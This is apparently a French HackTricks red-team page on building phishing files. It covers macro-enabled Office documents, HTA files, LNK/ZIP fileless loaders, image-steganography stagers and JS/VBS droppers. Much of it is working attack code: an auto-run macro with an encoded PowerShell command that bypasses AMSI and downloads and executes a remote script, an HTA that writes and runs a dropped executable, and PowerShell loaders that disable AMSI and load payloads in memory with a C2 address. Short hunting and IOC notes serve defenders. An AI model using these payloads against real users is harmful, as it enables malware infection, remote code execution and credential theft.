Fichiers & documents de phishing

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Documents Office

Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est réalisée sous forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure de données, le fichier analysé ne sera pas ouvert.

D'ordinaire, les fichiers Word contenant des macros utilisent l'extension .docm. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout la capacité d'exécution des macros.
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et pourra exécuter des macros.
Les mĂȘmes mĂ©canismes internes s'appliquent Ă  tous les logiciels de la Microsoft Office Suite (Excel, PowerPoint etc.).

Vous pouvez utiliser la commande suivante pour vĂ©rifier quelles extensions vont ĂȘtre exĂ©cutĂ©es par certains programmes Office :

bash
assoc | findstr /i "word excel powerp"

Les fichiers DOCX qui rĂ©fĂ©rencent un modĂšle distant (File –Options –Add-ins –Manage: Templates –Go) qui inclut des macros peuvent “execute” macros as well.

External Image Load

Aller Ă  : Insert --> Quick Parts --> Field
Catégories: Liens et références, Noms de champ: includePicture, et Nom de fichier ou URL: http:///whatever

Macros Backdoor

Il est possible d'utiliser des macros pour exécuter du code arbitraire depuis le document.

Fonctions d'autochargement

Plus elles sont courantes, plus il est probable que l'AV les détecte.

  • AutoOpen()
  • Document_Open()

Exemples de code de macros

vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
vba
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
vba
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
vba
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>

Supprimer manuellement les métadonnées

Aller à Fichier > Informations > Inspecter le document > Inspecter le document, ce qui ouvrira l'Inspecteur de document. Cliquez sur Inspecter puis sur Supprimer tout à cÎté de Propriétés du document et informations personnelles.

Extension du document

Lorsque c'est terminé, sélectionnez le menu déroulant Save as type, changez le format de .docx en Word 97-2003 .doc.
Faites cela parce que vous ne pouvez pas enregistrer de macros dans un .docx et qu'il existe une stigmatisation à l'égard de l'extension activée par les macros .docm (par ex. l'icÎne miniature affiche un énorme ! et certains gateways web/email les bloquent complÚtement). Par conséquent, cette ancienne extension .doc est le meilleur compromis.

Générateurs de macros malveillantes

Fichiers HTA

Un HTA est un programme Windows qui combine HTML et des langages de script (tels que VBScript et JScript). Il génÚre l'interface utilisateur et s'exécute en tant qu'application « entiÚrement de confiance », sans les contraintes du modÚle de sécurité d'un navigateur.

Un HTA est exécuté à l'aide de mshta.exe, qui est généralement installé avec Internet Explorer, rendant mshta dépendant d'IE. Ainsi, si celui-ci a été désinstallé, les HTA ne pourront pas s'exécuter.

html
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
html
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>

Forcer l'authentification NTLM

Il existe plusieurs façons de forcer l'authentification NTLM "Ă  distance", par exemple, vous pouvez ajouter des images invisibles aux emails ou au HTML que l'utilisateur ouvrira (mĂȘme un MitM HTTP ?). Ou envoyer Ă  la victime l'adresse de fichiers qui dĂ©clenchera une authentification simplement en ouvrant le dossier.

Consultez ces idées et plus dans les pages suivantes :

Force NTLM Privileged Authentication

Places to steal NTLM creds

NTLM Relay

N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi effectuer des NTLM relay attacks :

LNK Loaders + ZIP-Embedded Payloads (fileless chain)

Des campagnes trÚs efficaces livrent un ZIP qui contient deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le véritable PowerShell loader est stocké dans les octets bruts du ZIP aprÚs un marqueur unique, et le .lnk l'extrait et l'exécute entiÚrement en mémoire.

Flux typique mis en Ɠuvre par le one-liner PowerShell du .lnk :

  1. Localiser le ZIP original dans des chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData% et le répertoire parent du dossier de travail courant.
  2. Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est le PowerShell payload intégré.
  3. Copier le ZIP dans %ProgramData%, l'extraire là-bas, et ouvrir le .docx leurre pour paraßtre légitime.
  4. Bypasser AMSI pour le processus courant : [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
  5. Déobfusquer l'étape suivante (par ex., supprimer tous les caractÚres #) et l'exécuter en mémoire.

Exemple de squelette PowerShell pour découper et exécuter l'étape intégrée :

powershell
$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths    = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code

Remarques

  • La livraison abuse souvent de sous-domaines PaaS rĂ©putĂ©s (par ex., *.herokuapp.com) et peut restreindre les payloads (servir des ZIPs bĂ©nins selon l'IP/UA).
  • L'Ă©tape suivante dĂ©crypte frĂ©quemment du shellcode encodĂ© en base64/XOR et l'exĂ©cute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts disque.

Persistance utilisĂ©e dans la mĂȘme chaĂźne

  • COM TypeLib hijacking du Microsoft Web Browser control afin que IE/Explorer ou toute application l'intĂ©grant relance automatiquement le payload. Voir les dĂ©tails et les commandes prĂȘtes Ă  l'emploi ici :

COM Hijacking

Hunting/IOCs

  • Fichiers ZIP contenant la chaĂźne marqueur ASCII (par ex., xFIQCV) ajoutĂ©e aux donnĂ©es de l'archive.
  • .lnk qui Ă©numĂšre les dossiers parent/utilisateur pour localiser le ZIP et ouvre un document leurre.
  • AltĂ©ration d'AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
  • Threads mĂ©tiers de longue durĂ©e se terminant par des liens hĂ©bergĂ©s sous des domaines PaaS de confiance.

Steganography-delimited payloads in images (PowerShell stager)

Des chaĂźnes de loader rĂ©centes livrent un JavaScript/VBS obfusquĂ© qui dĂ©code et exĂ©cute un PowerShell stager encodĂ© en Base64. Ce stager tĂ©lĂ©charge une image (souvent GIF) qui contient une .NET DLL encodĂ©e en Base64 cachĂ©e en texte brut entre des marqueurs de dĂ©but/fin uniques. Le script cherche ces dĂ©limiteurs (exemples observĂ©s en nature : «<<sudo_png>> 
 <<sudo_odt>>>»), extrait le texte intermĂ©diaire, le dĂ©code Base64 en octets, charge l'assembly en mĂ©moire et invoque une mĂ©thode d'entrĂ©e connue en lui passant l'URL C2.

Workflow

  • Stage 1: Archived JS/VBS dropper → dĂ©code le Base64 embarquĂ© → lance le PowerShell stager avec -nop -w hidden -ep bypass.
  • Stage 2: PowerShell stager → tĂ©lĂ©charge l'image, extrait le Base64 dĂ©limitĂ© par marqueurs, charge la .NET DLL en mĂ©moire et appelle sa mĂ©thode (par ex. VAI) en lui passant l'URL C2 et des options.
  • Stage 3: Loader rĂ©cupĂšre le payload final et l'injecte typiquement via process hollowing dans un binaire de confiance (frĂ©quemment MSBuild.exe). Voir plus sur process hollowing et trusted utility proxy execution ici :

Common API used in Malware

Exemple PowerShell pour extraire une DLL depuis une image et invoquer une méthode .NET en mémoire :

Extracteur et loader de payload stego PowerShell
powershell
# Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory
param(
[string]$Url    = 'https://example.com/payload.gif',
[string]$StartM = '<<sudo_png>>',
[string]$EndM   = '<<sudo_odt>>',
[string]$EntryType = 'Loader',
[string]$EntryMeth = 'VAI',
[string]$C2    = 'https://c2.example/payload'
)
$img = (New-Object Net.WebClient).DownloadString($Url)
$start = $img.IndexOf($StartM)
$end   = $img.IndexOf($EndM)
if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' }
$b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length))
$bytes = [Convert]::FromBase64String($b64)
$asm = [Reflection.Assembly]::Load($bytes)
$type = $asm.GetType($EntryType)
$method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic')
$null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE))

Remarques

  • Ceci correspond Ă  ATT&CK T1027.003 (steganography/marker-hiding). Les marqueurs varient selon les campagnes.
  • Des contournements AMSI/ETW et string deobfuscation sont couramment appliquĂ©s avant le chargement de l'assembly.
  • Chasse : scanner les images tĂ©lĂ©chargĂ©es Ă  la recherche de dĂ©limiteurs connus ; identifier PowerShell accĂ©dant aux images et dĂ©codant immĂ©diatement des blobs Base64.

Voir aussi stego tools et carving techniques :

Stego Tricks

JS/VBS droppers → Base64 PowerShell staging

Une étape initiale récurrente est un petit, fortement obfusqué .js ou .vbs livré dans une archive. Son unique but est de décoder une chaßne Base64 intégrée et de lancer PowerShell avec -nop -w hidden -ep bypass pour démarrer la phase suivante via HTTPS.

Logique squelettique (abstraite) :

  • Lire le contenu de son propre fichier
  • Localiser un blob Base64 entre des chaĂźnes inutiles
  • DĂ©coder en PowerShell ASCII
  • ExĂ©cuter via wscript.exe/cscript.exe en invoquant powershell.exe

Signes de détection

  • PiĂšces jointes JS/VBS archivĂ©es lançant powershell.exe avec -enc/FromBase64String dans la ligne de commande.
  • wscript.exe lançant powershell.exe -nop -w hidden depuis les chemins temporaires utilisateur.

Fichiers Windows pour voler NTLM hashes

Consultez la page sur places to steal NTLM creds :

Places to steal NTLM creds

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks